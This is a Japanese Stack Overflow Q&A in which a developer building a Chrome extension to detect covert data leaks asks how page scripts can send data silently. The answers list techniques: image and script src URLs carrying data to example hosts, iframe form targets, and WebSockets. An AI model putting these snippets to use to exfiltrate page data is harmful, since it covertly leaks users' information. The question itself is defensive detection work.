

現在，Webページ上で，密かに情報を送るようなスクリプトコードを検知するChrome拡張機能を作っています．  
ひいては，JavaScriptでページ遷移をしないリクエストで情報をサーバーに送信する方法は，どのようなものがありますか？

現状考えつくのは，  
１．XHRリクエストを使う  
２．以下のように，画像ダウンロードリクエストに忍ばせる  
という方法です．

var img = new Image();  
img.src = 'abc.php?d='+data;

他にも方法がありましたらご教授お願いします．


CC BY-SA 3.0
2015-12-26T06:27:41.030
20394
2016-01-26T04:44:58.740
13817
question
javascript chrome-extension
JavaScriptでページ遷移をしないリクエスト


iframeを使いformのtargetをiframeのnameで命名したものにする。


CC BY-SA 3.0
2015-12-26T11:21:59.460
20401
2015-12-26T11:21:59.460
13820
20394
answer


画像だけでなく、スクリプト、スタイルシート、オーディオ、フォントなど、ありとあらゆるリソースのリクエストのURLに情報を忍ばせることができます。あるいはWebSocket、WebRTCなどでの接続でもデータを送れますし、FlashやJava
Applet、Silverlightのようなプラグインを利用する方法もあるでしょう。

(追記)

画像と同様に、該当する要素を作成して`src`プロパティを設定するだけです。スクリプトなら`document.createElement("script")`で`script`要素を作って`src`プロパティに任意のURLを設定します。

[code]

    var data = encodeURI("seclet data");
    var script = document.createElement("script");
    script.src = 'http://example.com/foo.js?d=' + data;
    document.body.appendChild(script);
[/code]

また、オーディオなら`document.createElement("audio")`でいいし、フォントなら`document.createElement("style")`で`style`要素を作ってから`@import`で適当なフォントのURLをリクエストすればいいでしょう。


CC BY-SA 3.0
2015-12-26T13:45:45.063
20404
2015-12-26T20:05:12.190
2015-12-26T20:05:12.190
10330
10330
20394
answer


ウェブソケットとかなかったっけ？  
`ws://～～～～`みたいな


CC BY-SA 3.0
2016-01-26T04:44:58.740
21317
2016-01-26T04:44:58.740
20394
answer